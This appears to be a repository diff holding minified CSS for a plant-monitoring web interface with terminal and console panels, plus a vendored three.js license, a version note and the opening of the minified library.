20px;background:#111921fa;border-top:1px solid #465059;border-bottom:1px solid #39434a;min-height:56px}.command-dock button{font-size:13px;min-width:105px;white-space:nowrap}.command-dock #open-create{margin-left:auto}.command-dock small{display:inline-block;font-size:11px;color:var(--muted);margin-left:7px}.terminal{position:absolute;z-index:10;right:20px;top:112px;bottom:105px;width:420px;max-height:730px;border:1px solid #69767e;box-shadow:0 12px 40px #0007;background:#121c24;display:flex;flex-direction:column;border-radius:4px;overflow:hidden}.terminal-header{display:flex;justify-content:space-between;align-items:center;gap:12px;padding:12px 16px;background:#26313a;border-bottom:1px solid #54606a}.terminal-header .eyebrow{font-size:10px;color:#b2bdc4}h2{font-size:17px;font-weight:500;margin:4px 0 0}.close{font-size:23px;line-height:1;border:0;background:transparent;min-width:34px;min-height:34px;padding:4px}.terminal-tabs{display:flex;padding:12px 14px 0;gap:5px}.terminal-tabs button{flex:1;font-size:12px;padding:6px}.terminal-tabs span{font-size:10px;margin-left:4px;color:var(--muted)}.terminal-toolbar{display:flex;align-items:center;justify-content:space-between;gap:10px;padding:10px 16px;font-size:11px;border-bottom:1px solid var(--line);color:var(--muted)}#selected-label{overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.text-button{font-size:11px;padding:4px 8px;min-height:29px;white-space:nowrap}.terminal-body{flex:1;overflow:auto;overscroll-behavior:contain;padding:14px 16px;scrollbar-width:thin;scrollbar-color:#67767b #16212a}.terminal-footer{display:flex;justify-content:space-between;padding:9px 16px;border-top:1px solid var(--line);font-size:10px;color:var(--muted)}.search{display:flex;align-items:center;gap:8px}.search>span{font-size:24px;color:var(--muted)}.search input{font-size:12px;padding:9px}.plot-list{max-height:235px;overflow:auto;margin-top:12px}.plot-card{display:flex;align-items:center;gap:10px;width:100%;border:0;border-bottom:1px solid #38444c;border-radius:0;background:transparent;text-align:left;padding:12px 6px}.plot-card[aria-pressed=true]{background:#243e32;border-left:3px solid #a4c8b4;padding-left:3px}.plant-icon{font-size:18px;color:var(--mint)}.plot-card-copy{flex:1;min-width:0}.plot-card strong{display:block;font-size:13px;font-weight:500;overflow-wrap:anywhere}.plot-card small{display:block;color:var(--muted);font-size:11px;Line truncated
@media(max-width:1000px){.operator-console{width:570px}.terminal{width:390px}.camera-controls{bottom:105px}}
@media(max-width:700px){.vitals{left:12px;bottom:125px;width:178px;padding:10px}.vitals-heading{font-size:11px;padding-bottom:7px}.vitals-heading strong{font-size:11px}.vital-line{font-size:11px;margin-top:8px}.vital-line strong{font-size:12px}.vitals>small{font-size:9px;margin-top:10px}.camera-controls{right:12px;bottom:125px;max-width:130px;flex-wrap:wrap;justify-content:flex-end}.camera-controls button{font-size:12px;padding:7px 9px;min-width:34px}.camera-controls button:last-child{flex-basis:100%}.command-dock{bottom:24px;min-height:78px;padding:8px 10px;display:grid;grid-template-columns:repeat(3,1fr);gap:5px}.command-dock button{min-width:0;font-size:11px;min-height:30px;padding:5px 7px}.command-dock #open-create{margin-left:0}.command-dock #console-launch{grid-column:1/3}.command-dock small{font-size:10px;margin-left:3px}.terminal{inset:auto 10px 118px;width:auto;height:57svh;max-height:570px}.terminal-header{padding:10px 13px}.terminal-header h2{font-size:16px}.terminal-tabs{padding:9px 12px 0}.terminal-toolbar{padding:8px 12px;font-size:10px}.terminal-body{padding:12px}.terminal-footer{padding:8px 12px;font-size:9px}.plot-list{max-height:155px}.terminal-open .vitals,.terminal-open .camera-controls{visibility:hidden}.notice{left:12px;top:118px;max-width:calc(100% - 24px);padding:9px 12px;font-size:11px;max-height:105px}.toast{top:116px;font-size:11px}dialog{padding:19px}dialog input,dialog textarea,dialog select{font-size:16px}.operator-console{left:10px;right:10px;bottom:118px;width:auto;height:54svh;max-height:calc(100svh - 235px);max-width:none;min-width:0;min-height:225px;resize:none}.console-titlebar{padding:6px 10px;gap:10px}.console-titlebar h2{font-size:13px}.console-titlebar #console-state{font-size:10px}.console-tools{padding:7px 10px;gap:5px}.console-tools button{font-size:10px;padding:4px 7px}.console-output{font-size:11px;padding:10px}.console-input-row input{font-size:16px;padding:8px;min-width:0}.console-input-row button{font-size:10px;padding:7px}.console-footer{font-size:9px}.console-error{font-size:10px;max-height:70px}#object-hint{bottom:113px;z-index:16;font-size:11px;max-width:calc(100% - 24px)}#scene-loading{padding:15px 18px}}
@media(max-height:600px) and (min-width:701px){.terminal{top:108px;bottom:96px}.operator-console{max-height:calc(100% - 210px);bottom:96px;min-height:200px}.vitals,.camera-controls{bottom:96px}.vitals{padding:9px}.vital-line{margin-top:7px}}
@media(prefers-reduced-motion:reduce){*,*::before,*::after{animation:none!important;transition:none!important;scroll-behavior:auto!important}}
@font-face{font-family:DepartureMono;src:url('./fonts/DepartureMono-Regular.woff2') format('woff2');font-weight:400;font-display:swap}
:root{
--ink:#e6f1ef;--muted:#b4ced1;--line:#d6f0ed41;--mint:#d8f0e9;
--surface:#0b1b24a8;--surface-solid:#0b1b24;--signal:#d8f0e9;
--sans:DepartureMono,monospace;--mono:DepartureMono,monospace;--display:DepartureMono,monospace;
font-family:var(--sans);font-size:14px;
}
body,#observatory{background:#071017;color:var(--ink)}
button,input,textarea,select{font-family:var(--sans)}
button{border:0;border-radius:0;background:transparent;color:var(--ink);transition:color .18s,background .18s,opacity .18s}
button:hover:not(:disabled),button[aria-pressed=true],button[aria-expanded=true]{background:transparent;color:#dff9f2}
button:active:not(:disabled){background:transparent;color:var(--signal)}
button:focus-visible,input:focus-visible,textarea:focus-visible,select:focus-visible,[tabindex]:focus-visible{outline:2px solid var(--signal);outline-offset:3px}
input,textarea,select{border-radius:0;background:#0b1b24;border:0;border-bottom:1px solid #d6f0ed6e;color:var(--ink);font-size:14px}
input::placeholder,textarea::placeholder{color:#a9c5c8}
.vignette{background:linear-gradient(90deg,#071017c9 0,transparent 32%,transparent 74%,#07101736 100%)}
.vitals{
left:40px;bottom:246px;width:282px;padding:0;border:0;background:transparent;box-shadow:none;
text-shadow:0 2px 14px #000d;pointer-events:none;
}
.vitals-heading{display:flex;justify-content:space-between;align-items:center;border:0;padding:0 0 23px;margin:0 0 4px;font:10px var(--mono);letter-spacing:.08em;color:#c7dddb}
.vitals-heading strong{font:11px var(--mono);letter-spacing:0;color:var(--signal)}
.vital-line{margin-top:11px;font:12px var(--mono)}
.vital-line>span{color:#a9c5c8}.vital-line strong{font:13px var(--mono);color:#e6f1ef}
.vitals>small{font:10px var(--mono);color:#a9c5c8;margin-top:22px}
.command-dock{
left:40px;right:auto;bottom:42px;width:282px;min-height:0;padding:0;gap:0;
display:block;background:transparent;border:0;box-shadow:none;
backdrop-filter:none;-webkit-backdrop-filter:none;
}
.command-dock button{
width:100%;min-width:0;min-height:67px;display:flex;align-items:center;justify-content:space-between;
padding:0 2px;text-align:left;white-space:nowrap;background:transparent;border:0;
border-top:1px solid #d6f0ed60;font-size:23px;font-weight:400;letter-spacing:-.035em;
}
.command-dock button:last-child{border-bottom:1px solid #d6f0ed60}
.command-dock button:hover,.command-dock button[aria-expanded=true]{color:var(--signal);background:transparent}
.command-dock button:hover .dock-label{transform:translateX(4px)}
.command-dock button[aria-expanded=true] .dock-label{color:var(--signal)}
.dock-label{transition:transform .18s,color .18s;line-height:1.1}
.dock-end{display:flex;align-items:center;gap:17px;font:17px var(--sans);color:#c7dddb}
.command-dock small{font:11px var(--mono);color:#c7dddb;margin:0}
#console-indicator{display:inline-block;width:5px;height:5px;border-radius:50%;background:#718e95;margin-left:6px;vertical-align:middle}
#console-indicator.connected{background:var(--signal)}
.camera-controls{
right:40px;bottom:43px;display:flex;align-items:center;gap:12px;
padding:0;background:transparent;border:0;border-radius:0;box-shadow:none;
backdrop-filter:none;-webkit-backdrop-filter:none;
}
.camera-controls button{min-width:29px;min-height:34px;padding:0;background:transparent;border:0;border-radius:0;font:19px var(--sans);color:#c7dddb;opacity:.84}
.camera-controls button:hover{background:transparent;color:#dff9f2;opacity:1}
.camera-controls #motion-toggle{min-width:0;padding-left:18px;border-left:1px solid #d6f0ed57;font:12px var(--sans);letter-spacing:.01em}
.terminal,.operator-console{
z-index:10;right:0;top:0;bottom:0;left:auto;width:460px;height:auto;max-height:none;max-width:min(100vw,700px);min-width:0;min-height:0;
border:0;border-left:1px solid #d6f0ed5c;border-radius:0;background:var(--surface);
box-shadow:-30px 0 80px #0008;backdrop-filter:blur(24px);-webkit-backdrop-filter:blur(24px);
animation:surface-in .25s ease-out;overflow:hidden;
}
@keyframes surface-in{from{transform:translateX(16px);opacity:.75}to{transform:translateX(0);opacity:1}}
.terminal-header{display:flex;align-items:flex-start;gap:16px;padding:44px 42px 21px;background:transparent;border:0}
.terminal-header .eyebrow,.eyebrow{font:11px var(--mono);letter-spacing:.055em;color:#a9c5c8}
.terminal-header h2{margin:12px 0 0;font:400 38px/1.1 var(--sans);letter-spacing:-.045em;color:#e6f1ef}
.close{margin:0 0 0 auto;width:34px;min-width:34px;min-height:34px;padding:0;border:0;border-radius:0;background:transparent;font:28px/1 var(--sans);color:#a9c5c8}
.close:hover{background:transparent;color:#dff9f2}
.terminal-tabs{display:flex;gap:27px;padding:0 42px;border-bottom:1px solid #d6f0ed44}
.terminal-tabs button{flex:0 0 auto;min-height:49px;padding:0 0 1px;font:14px var(--sans);border:0;border-bottom:2px solid transparent;border-radius:0;background:transparent;color:#a9c5c8}
.terminal-tabs button:hover{background:transparent;color:#dff9f2}
.terminal-tabs button[aria-pressed=true]{background:transparent;border-color:var(--signal);color:#e6f1ef}
.terminal-tabs span{font:10px var(--mono);color:#a9c5c8;margin-left:4px}
.terminal-toolbar{padding:17px 42px;border:0;background:transparent;color:#a9c5c8;font:11px var(--mono)}
.text-button{min-height:25px;padding:0;border:0;border-bottom:1px solid #d6f0ed81;border-radius:0;background:transparent;font:11px var(--mono);color:#e6f1ef}
.text-button:hover{background:transparent;border-color:#dff9f2}
.terminal-body{padding:21px 42px 34px;background:transparent;scrollbar-color:#718e95 #0b1b24}
.terminal-footer{display:none}
.section-heading{margin:0 0 18px;min-height:30px}
.section-heading .eyebrow{font:11px var(--mono)}
.section-heading .button{min-height:27px;padding:0;border:0;border-bottom:1px solid #d6f0eda3;border-radius:0;background:transparent;color:#e6f1ef;font:12px var(--sans)}
.section-heading .button:hover{background:transparent;color:#dff9f2;border-color:#dff9f2}
.search{display:flex;align-items:center;gap:5px;border:0;border-bottom:1px solid #d6f0ed6d;background:transparent}
.search>span{font-size:22px;color:#a9c5c8}.search input{padding:9px 2px;font:13px var(--sans);background:transparent;border:0;outline-offset:1px}
.plot-list{max-height:235px;margin-top:13px}
.plot-card{border:0;border-bottom:1px solid #d6f0ed42;border-radius:0;padding:14px 4px;background:transparent}
.plot-card:hover{background:transparent;color:#dff9f2}
.plot-card[aria-pressed=true]{background:transparent;border:0;border-bottom:1px solid #d6f0ed42;border-left:0;padding-left:4px;color:var(--signal);box-shadow:none}
.plot-card[aria-pressed=true] .arrow{color:var(--signal)}
.plot-card strong{font:500 15px var(--sans)}.plot-card small{font:11px var(--sans);color:#a9c5c8;margin-top:3px}
.plant-icon{font-size:10px;color:#c7dddb}.arrow{font:16px var(--sans)}
.section-divider{border-top:1px solid #d6f0ed50;margin:29px 0 17px;padding-top:18px;font:11px var(--mono);color:#a9c5c8}
#plot-detail h3{font:400 24px var(--sans);letter-spacing:-.025em;margin:14px 0 19px}
dt{font:11px var(--mono);color:#a9c5c8}dd{font:14px/1.65 var(--sans)}
.record{border-color:#d6f0ed42}.record strong{font:13px var(--sans)}.record-value{font:13px var(--mono)}
.empty{font:13px/1.6 var(--sans);color:#a9c5c8}
.pill{font:11px var(--mono);color:#a9c5c8}
#key-form .button{border:1px solid #d6f0ed66;padding:7px 14px;background:#d6f0ed37;color:#e6f1ef}
.operator-console{width:600px;resize:none;z-index:15;display:flex;flex-direction:column}
.console-titlebar{display:flex;align-items:flex-start;gap:17px;padding:44px 42px 22px;border:0;background:transparent}
.console-titlebar h2{margin:0;font:400 30px/1.2 var(--sans);letter-spacing:-.04em}
.console-titlebar #console-state{margin-top:11px;font:11px var(--mono);color:#a9c5c8}
.console-titlebar .close{margin-left:auto}
.console-tools{gap:25px;padding:6px 42px 20px;background:transparent;border-bottom:1px solid #d6f0ed44}
.console-tools button{min-height:26px;padding:0;border:0;border-bottom:1px solid transparent;border-radius:0;background:transparent;font:12px var(--sans);color:#a9c5c8}
.console-tools button:hover{background:transparent;border-color:#a9c5c8;color:#dff9f2}
.console-tools button:last-child{margin-left:auto}
.console-output{flex:1;padding:24px 42px;background:transparent;color:#e6f1ef;font:13px/1.7 var(--mono)}
.console-system{color:#a9c5c8}.console-command{color:#e6f1ef}
.console-error{border:0;background:#213642;color:#ffc4a0;padding:9px 42px}
#console-form{padding:16px 42px 7px;background:#0b1b24;border-top:1px solid #d6f0ed44}
#console-form label{font:11px var(--mono);color:#a9c5c8}
.console-input-row{gap:11px;border-bottom:1px solid #d6f0ed93}
.console-input-row>span{font:18px var(--mono);color:var(--signal)}
.console-input-row input{background:transparent;border:0;padding:11px 0;font:14px var(--mono)}
.console-input-row button{min-height:32px;padding:0;border:0;border-radius:0;background:transparent;font:12px var(--sans);color:var(--signal)}
.console-input-row button:hover{background:transparent;color:#dff9f2}
.console-footer{padding:10px 42px 21px;background:#0b1b24;font:10px var(--mono);color:#a9c5c8}
body.console-open .vitals,body.terminal-open .vitals{visibility:hidden}
dialog{border:1px solid #d6f0ed70;border-radius:0;padding:32px;background:#09202c;box-shadow:0 30px 80px #000b;font-family:var(--sans)}
dialog::backdrop{background:#02080bd1}
dialog h2{font:400 27px var(--sans);letter-spacing:-.025em}dialog p{font:13px/1.65 var(--sans)}
dialog input,dialog textarea,dialog select{background:#0b1b24}
dialog form>.button,.primary{background:var(--signal);border:1px solid var(--signal);color:#09202c;font:500 14px var(--sans);border-radius:0}
dialog form>.button:hover,.primary:hover:not(:disabled){background:#e6f1ef;border-color:#e6f1ef;color:#09202c}
.notice{top:28px;left:40px;border-radius:0;background:#213642}.toast{top:28px;border-radius:0;background:#e9f6f2;color:#09202c}
#object-hint{bottom:43px;border-radius:0;background:#213642}
#scene-loading,#scene-fallback{border-radius:0;background:#09202c}
:root{font-size:16px}
button,input,textarea,select,label{font-family:var(--sans)}
.vitals-heading,.vitals-heading strong,.vital-line,.vital-line strong,.vitals>small{font-size:16px;letter-spacing:0}
.vitals-heading{padding-bottom:20px}.vital-line{margin-top:8px}.vitals>small{margin-top:16px}
.command-dock button{font:22px var(--display);letter-spacing:0}
.dock-end,.command-dock small{font-size:16px}
.camera-controls button{font:24px var(--display)}.camera-controls #motion-toggle{font:16px var(--sans)}
.terminal{width:500px}.operator-console{width:620px}
.terminal-header .eyebrow,.eyebrow{font-size:16px;letter-spacing:0}
.terminal-header h2{font:33px/1.2 var(--display);letter-spacing:0}
.close{font:22px var(--display)}
.terminal-tabs button,.terminal-tabs span,.terminal-toolbar,.text-button{font-size:16px}
.section-heading .button,.search input,.section-divider,.plot-card strong,.plot-card small,#plot-detail h3,dt,dd,.record strong,.record-value,.empty,.pill,#key-form .button{font-size:16px}
#plot-detail h3{font:22px var(--display);letter-spacing:0}
.plot-card strong{font-family:var(--display)}
.console-titlebar h2{font:33px var(--display);letter-spacing:0}
.console-titlebar #console-state,.console-tools button,.console-output,#console-form label,.console-input-row input,.console-input-row button,.console-footer{font-size:16px}
.console-output{line-height:1.5}.console-input-row>span{font-size:24px}
dialog h2{font:33px var(--display);letter-spacing:0}dialog p,dialog form>.button{font-size:16px}
@media(max-width:900px){.vitals,.command-dock{left:24px}.terminal{width:430px}.operator-console{width:520px}.camera-controls{right:24px}}
@media(max-width:700px){
.vitals{left:16px;bottom:153px;width:calc(100% - 32px);padding:0;background:linear-gradient(90deg,#071017e8,transparent)}
.vitals-heading{padding:0 0 4px;font-size:9px}.vitals-heading strong{font-size:9px}
.vital-line{display:inline-flex;gap:5px;margin:8px 12px 0 0;font-size:9px}.vital-line strong{font-size:10px}.vitals>small{font-size:8px;margin-top:7px}
.command-dock{left:16px;right:16px;bottom:max(12px,env(safe-area-inset-bottom));width:auto;display:flex;gap:18px;min-height:0;padding:0;grid-template-columns:none}
.command-dock button{flex:1;width:auto;min-height:49px;padding:0 1px;font-size:17px;border-top:1px solid #d6f0ed60}
.command-dock button:last-child{border-bottom:0}.command-dock #console-launch{grid-column:auto}
.dock-end{font-size:14px;gap:7px}.command-dock small{font-size:9px}
.camera-controls{right:16px;bottom:95px;display:flex;gap:9px;max-width:none;background:transparent;flex-wrap:nowrap;justify-content:initial}
.camera-controls button{min-width:24px;min-height:31px;padding:0;font-size:17px}.camera-controls button:last-child{flex-basis:auto}.camera-controls #motion-toggle{font-size:11px;min-width:0;padding-left:11px}
.terminal,.operator-console{inset:0;width:100%;height:100svh;max-width:none;max-height:none;min-height:0;border-left:0}
.terminal-header{padding:27px 24px 14px}.terminal-header h2{font-size:31px}.terminal-tabs{padding:0 24px;gap:20px}.terminal-tabs button{font-size:13px;min-height:43px}
.terminal-toolbar{padding:12px 24px}.terminal-body{padding:17px 24px 30px}.plot-list{max-height:185px}
.operator-console{width:100%;resize:none}.console-titlebar{padding:27px 24px 17px}.console-titlebar h2{font-size:25px}
.console-tools{padding:7px 24px 16px;gap:13px}.console-tools button{font-size:11px}.console-output{padding:20px 24px;font-size:12px}
#console-form{padding:13px 24px 5px}.console-input-row input{font-size:16px;padding:9px 0}.console-footer{padding:9px 24px 17px;font-size:9px}
.notice{top:14px;left:16px}.toast{top:14px}#object-hint{bottom:114px}dialog{padding:22px}
}
@media(max-height:600px) and (min-width:701px){.vitals{bottom:218px}.terminal-header,.console-titlebar{padding-top:24px}}
@media(prefers-reduced-motion:reduce){.terminal,.operator-console{animation:none}}
@media(prefers-contrast:more),(prefers-reduced-transparency:reduce){.terminal,.operator-console,dialog{background:#0b1b24;backdrop-filter:none;-webkit-backdrop-filter:none}.vitals{background:#071017}}
@supports not (backdrop-filter:blur(1px)){.terminal,.operator-console{background:#0b1b24f5}}
:root{--ink:#edf8f5;--muted:#b7cece;--line:#e5ffff32;--surface:#0b2330a8;--signal:#d9f3e9}
button{color:var(--ink)}button:hover:not(:disabled),button[aria-pressed=true],button[aria-expanded=true]{color:#fff}
button:focus-visible,input:focus-visible,textarea:focus-visible,select:focus-visible,[tabindex]:focus-visible{outline-color:#ecfffb}
input,textarea,select{background:#09212d8a;border-color:#dcfaf680;color:#effbf8}
input::placeholder,textarea::placeholder{color:#abc6c7}
.operator-rail{
position:absolute;z-index:6;left:24px;bottom:24px;width:330px;padding:24px 24px 17px;
border:1px solid #e1ffff30;border-radius:16px;
background:#1b2d365c;
box-shadow:0 20px 54px #0006,inset 0 1px 0 #ffffff25;
backdrop-filter:blur(28px) saturate(112%);-webkit-backdrop-filter:blur(28px) saturate(112%);
}
.operator-rail .vitals,.operator-rail .command-dock{position:relative;left:auto;right:auto;bottom:auto;width:auto;margin:0;background:transparent;border:0;box-shadow:none;backdrop-filter:none;-webkit-backdrop-filter:none}
.operator-rail .vitals{padding:0 0 22px}
.operator-rail .command-dock{display:block;padding:0}
body.terminal-open .operator-rail .vitals,body.console-open .operator-rail .vitals{visibility:visible}
.vitals-heading,.vital-line>span,.vitals>small{color:#c8dcda}.vitals-heading strong,.vital-line strong{color:#f2fffb}
.command-dock button{border-color:#d8f9f754;min-height:62px}.command-dock button:last-child{border-color:#d8f9f754}
.command-dock button:hover,.command-dock button[aria-expanded=true],.command-dock button[aria-expanded=true] .dock-label{color:#fff}
.dock-end,.command-dock small{color:#d7edeb}
#console-indicator{background:#91acac}#console-indicator.connected{background:#ddfff2;box-shadow:0 0 8px #b4eed9}
.camera-controls{
right:24px;bottom:24px;gap:11px;padding:5px 17px;
background:#1b2d3666;border:1px solid #e1ffff30;border-radius:12px;
box-shadow:0 14px 36px #0005,inset 0 1px 0 #ffffff20;
backdrop-filter:blur(22px) saturate(110%);-webkit-backdrop-filter:blur(22px) saturate(110%);
}
.camera-controls button{color:#e7f8f5;opacity:1}.camera-controls #motion-toggle{border-color:#dcf9f65c}
.terminal,.operator-console{
top:18px;right:18px;bottom:18px;height:auto;border:1px solid #e4ffff38;border-radius:16px;
background:#1b2e39a8;
box-shadow:0 26px 76px #0008,inset 0 1px 0 #ffffff27;
backdrop-filter:blur(30px) saturate(112%) brightness(.82);-webkit-backdrop-filter:blur(30px) saturate(112%) brightness(.82);
}
.terminal-header,.terminal-toolbar,.terminal-body,.console-titlebar,.console-tools,.console-output{background:transparent}
.terminal-header .eyebrow,.eyebrow,.terminal-toolbar,.section-divider,dt,.record small,.console-titlebar #console-state{color:#c4dcdb}
.terminal-header h2,#plot-detail h3,.console-titlebar h2{color:#f2fffb}
.terminal-tabs,.console-tools{border-color:#d8f9f744}
.terminal-tabs button{color:#c9dddd}.terminal-tabs button[aria-pressed=true]{border-color:#e1fff3;color:#fff}
.terminal-tabs span,.text-button,.section-heading .button{color:#e1f7f4}
.text-button,.section-heading .button,.search,.console-input-row{border-color:#d8f9f779}
.plot-card,.plot-card[aria-pressed=true],.record,.section-divider{border-color:#d8f9f741}
.plot-card[aria-pressed=true],.plot-card[aria-pressed=true] .arrow{color:#e8fff0}
.plot-card small,.empty,.pill{color:#bfd6d3}
.console-tools button{color:#d0e5e2}.console-output{color:#eefcf7}.console-system{color:#bcd9cf}.console-command{color:#e5f6d7}
#console-form,.console-footer{background:#071e2b72;border-color:#d8f9f741}
.console-input-row input{background:transparent;border:0}.console-input-row>span,.console-input-row button{color:#e7fff0}
.console-footer{color:#bdd6d3}
#key-form .button{background:#d8f5e124;border-color:#d8f5e16e;color:#f0fff6}
dialog{background:#1b2e39c9;border-color:#e4ffff48;border-radius:16px;backdrop-filter:blur(28px);-webkit-backdrop-filter:blur(28px)}
dialog input,dialog textarea,dialog select{background:#081f2bbb}
dialog form>.button,.primary{background:#e0f7ea;border-color:#e0f7ea;color:#12312b}
dialog form>.button:hover,.primary:hover:not(:disabled){background:#fff;border-color:#fff;color:#12312b}
.toast{background:#e8faf5;color:#11302b;border-color:#e8faf5;border-radius:16px}
.notice{background:#263c43d9;border-color:#dff5ed6b;border-radius:16px;color:#f0fff9}
#object-hint{background:#0a2b37ca;border-color:#e2f6e878;border-radius:14px;color:#f5fff3}
#scene-loading,#scene-fallback{background:#0b2936c9;border-color:#e4ffff71;border-radius:20px;backdrop-filter:blur(22px)}
@media(max-width:900px){.operator-rail{left:18px}.terminal{width:440px}.operator-console{width:540px}.camera-controls{right:18px}}
@media(max-width:700px){
.operator-rail{left:10px;right:10px;bottom:10px;width:auto;padding:13px 16px 9px;border-radius:14px}
.operator-rail .vitals{width:auto;padding:0 0 8px;background:transparent}
.operator-rail .command-dock{display:flex;gap:14px;width:auto}
.command-dock button{min-height:44px}.command-dock button:last-child{border-bottom:0}
.camera-controls{right:12px;bottom:150px;padding:2px 11px;border-radius:12px}
.terminal,.operator-console{inset:0;width:100%;height:100svh;max-width:none;max-height:none;border:0;border-radius:0}
}
@media(prefers-contrast:more),(prefers-reduced-transparency:reduce){
.operator-rail,.camera-controls,.terminal,.operator-console,dialog{background:#102a35f7;border-color:#e8fffa9c;backdrop-filter:none;-webkit-backdrop-filter:none}
.operator-rail::before{display:none}
}
@supports not (backdrop-filter:blur(1px)){.operator-rail,.camera-controls,.terminal,.operator-console,dialog{background:#102a35ef}}
.command-dock{
position:absolute;z-index:8;left:24px;right:auto;top:24px;bottom:auto;width:auto;min-height:0;
display:flex;gap:0;padding:3px 8px;
background:#1b2d3666;border:1px solid #e1ffff30;border-radius:12px;
box-shadow:0 14px 36px #0005,inset 0 1px 0 #ffffff20;
backdrop-filter:blur(22px) saturate(110%);-webkit-backdrop-filter:blur(22px) saturate(110%);
}
.command-dock button{width:auto;min-width:143px;min-height:46px;padding:0 13px;border:0;font-size:16px;gap:17px}
.command-dock button+button{border-left:1px solid #d8f9f73c}.command-dock button:last-child{border-bottom:0}
.command-dock .dock-end{gap:7px;font-size:13px}.command-dock small{font-size:12px}
.operator-rail{left:24px;bottom:24px;width:344px;padding:19px 21px}
.operator-rail .vitals{padding:0}
.camera-controls{top:24px;bottom:auto;right:24px}
.terminal,.operator-console{
position:absolute;top:87px;right:24px;bottom:auto;left:auto;
width:500px;height:min(680px,calc(100svh - 111px));max-height:calc(100svh - 48px);min-height:270px;
}
.operator-console{top:100px;right:auto;left:max(24px,calc(50% - 430px));width:540px;height:min(500px,calc(100svh - 140px));max-width:calc(100vw - 48px)}
.terminal-header,.console-titlebar{cursor:grab;touch-action:none;user-select:none}
.terminal-header:active,.console-titlebar:active{cursor:grabbing}
.terminal-header button,.console-titlebar button{cursor:pointer}
@media(max-width:900px){
.command-dock{left:18px;top:18px}.camera-controls{top:18px;right:18px}
.terminal{width:min(450px,calc(100vw - 36px));right:18px}
.operator-console{left:18px;width:min(540px,calc(100vw - 36px))}
}
@media(max-width:700px){
.command-dock{left:10px;right:auto;top:10px;bottom:auto;width:calc(100% - 115px);padding:1px 3px;gap:0;display:flex}
.command-dock button{flex:1;width:auto;min-width:0;min-height:40px;padding:0 6px;font-size:12px}
.command-dock button+button{border-left:1px solid #d8f9f73c}.command-dock .dock-end{font-size:11px;gap:2px}.command-dock small{font-size:10px}
.camera-controls{top:62px;right:10px;bottom:auto;padding:2px 9px}
.operator-rail{left:10px;right:10px;bottom:10px;width:auto;padding:13px 16px}
.terminal,.operator-console{inset:0;width:100%;height:100svh;max-width:none;max-height:none;min-height:0;border:0;border-radius:0}
.terminal-header,.console-titlebar{cursor:default;touch-action:auto}
}
@media(prefers-contrast:more),(prefers-reduced-transparency:reduce){.command-dock{background:#102a35f7;backdrop-filter:none;-webkit-backdrop-filter:none}}
@supports not (backdrop-filter:blur(1px)){.command-dock{background:#102a35ef}}
+21
View File
@@ -0,0 +1,21 @@
The MIT License
Copyright © 2010-2025 three.js authors
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE.
File diff suppressed because it is too large. Load diff
+5
View File
@@ -0,0 +1,5 @@
Three.js 0.180.0 (r180)
https://github.com/mrdoob/three.js
Source: https://registry.npmjs.org/three/-/three-0.180.0.tgz
Archive SHA256: ad66d724565ee29a2467277fa84daa5ed0211d6b8d446e9ef29f6bae0cd14144
License: MIT; see LICENSE. Unmodified distribution files.
+6
View File
@@ -0,0 +1,6 @@
/**
* @license
* Copyright 2010-2025 Three.js Authors
* SPDX-License-Identifier: MIT
*/
const t="180",e={LEFT:0,MIDDLE:1,RIGHT:2,ROTATE:0,DOLLY:1,PAN:2},s={ROTATE:0,PAN:1,DOLLY_PAN:2,DOLLY_ROTATE:3},i=0,r=1,n=2,a=3,o=0,h=1,l=2,c=3,u=0,d=1,p=2,m=0,y=1,g=2,f=3,x=4,b=5,v=100,w=101,M=102,S=103,_=104,A=200,T=201,z=202,C=203,I=204,B=205,k=206,E=207,R=208,P=209,O=210,N=211,V=212,F=213,L=214,j=0,D=1,W=2,U=3,H=4,q=5,J=6,X=7,Y=0,Z=1,G=2,$=0,Q=1,K=2,tt=3,et=4,st=5,it=6,rt=7,nt="attached",at="detached",ot=300,ht=301,lt=302,ct=303,ut=304,dt=306,pt=1e3,mt=1001,yt=1002,gt=1003,ft=1004,xt=1004,bt=1005,vt=1005,wt=1006,Mt=1007,St=1007,_t=1008,At=1008,Tt=1009,zt=1010,Ct=1011,It=1012,Bt=1013,kt=1014,Et=1015,Rt=1016,Pt=1017,Ot=1018,Nt=1020,Vt=35902,Ft=35899,Lt=1021,jt=1022,Dt=1023,Wt=1026,Ut=1027,Ht=1028,qt=1029,Jt=1030,Xt=1031,Yt=1032,Zt=1033,Gt=33776,$t=33777,Qt=33778,Kt=33779,te=35840,ee=35841,se=35842,ie=35843,re=36196,ne=37492,ae=37496,oe=37808,he=37809,le=37810,ce=37811,ue=37812,de=37813,pe=37814,me=37815,ye=37816,ge=37817,fe=37818,xe=37819,be=37820,ve=37821,we=36492,Me=36494,Se=36495,_e=36283,Ae=36284,Te=36285,ze=36286,Ce=2200,Ie=2201,Be=2202,ke=2300,Ee=2301,Re=2302,Pe=2400,Oe=2401,Ne=2402,Ve=2500,Fe=2501,Le=0,je=1,De=2,We=3200,Ue=3201,He=3202,qe=3203,Je=0,Xe=1,Ye="",Ze="srgb",Ge="srgb-linear",$e="linear",Qe="srgb",Ke=0,ts=7680,es=7681,ss=7682,is=7683,rs=34055,ns=34056,as=5386,os=512,hs=513,ls=514,cs=515,us=516,ds=517,ps=518,ms=519,ys=512,gs=513,fs=514,xs=515,bs=516,vs=517,ws=518,Ms=519,Ss=35044,_s=35048,As=35040,Ts=35045,zs=35049,Cs=35041,Is=35046,Bs=35050,ks=35042,Es="100",Rs="300 